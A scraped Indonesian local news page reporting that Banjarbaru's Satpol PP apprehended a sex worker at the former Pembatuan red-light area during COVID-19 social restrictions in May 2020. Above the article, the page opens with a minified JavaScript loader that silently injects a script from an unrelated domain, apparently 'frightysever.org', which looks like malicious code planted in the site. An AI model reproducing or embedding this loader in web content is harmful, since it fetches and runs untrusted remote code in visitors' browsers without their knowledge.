(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Satu PSK di Eks Lokalisasi Pembatuan Terjaring saat Giat PSBB di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Di hari ke-12 pelaksanaan Pembatasan Sosial Berskala Besar (PSBB) di Kota Banjarbaru, personel Satpol PP menggelar giat pengamanan pada Rabu (27/5/2020) pagi. Rupanya, satu orang Pekerja Seks Komersial (PSK) terjaring dalam giat ini.

Awalnya giat pengamanan kali ini menyasar lima pasar di Kecamatan Liang Anggang dan Landasan Ulin. Dalam hal ini petugas, menyampaikan imbauan protokol kesehatan dan pencegahan Covid-19 selama PSBB. Termasuk mengukur suhu tubuh dan pemberian masker kain pada para pedagang maupun pembeli.

Setelah itu, giat kembali berlanjut ke kawasan Eks Lokalisasi Pembatuan, di Kecamatan Landasan Ulin. Di sinilah petugas mendapati seorang perempuan sebagai PSK, disinyalir sedang mangkal. Hal ini diperkuat dengan sejumlah temuan barang bukti yang akhirnya diamankan.

Kepala Satpol PP Banjarbaru, Marhain Rahman, melalui Seksi Opsdal PPNS, Yanto Hidayat, mengatakan sebenarnya ada 2 PSK saat itu yang diduga sedang mangkal. Hanya saja, satu orang PSK langsung melarikan diri kala melihat petugas yang datang. “Satu PSK langsung kabur saat melihat kami datang. Tapi satu PSK lagi berhasil kami amankan,” katanya kepada Kanalkalimantan.com.

Adapun identitas PSK tersebut ialah J (44), yang mengaku sudah 3 bulan menggeluti bisnis prostitusi dengan memasang tarif Rp 100 ribu sekali kencang. Menariknya, ini bukan kasus pertama J diciduk oleh petugas Satpol PP Kota Banjarbaru.

Yanto menuturkan bahwa J sudah pernah di amankan pada 2019 lalu, di lokasi yang sama. Atas kasusnya kedua ini, J ditindak dengan membuat surat pernyataan dan tidak boleh lagi menjadi PSK di Kota Banjarbaru.

“Dia harus meninggal rumah sewaannya di Eks Lokalisasi Pembatuan. Kasarnya, yang bersangkutan kita usir dari Banjarbaru. Selain itu barang bukti yang kita dapati juga akan dimusnahkan,” pungkasnya. (kanalkalimantan.com/rico)

Reporter : rico
Editor : cell

 


Al Ghifari

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

3 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

5 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

6 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

6 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

8 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

8 jam ago

This website uses cookies.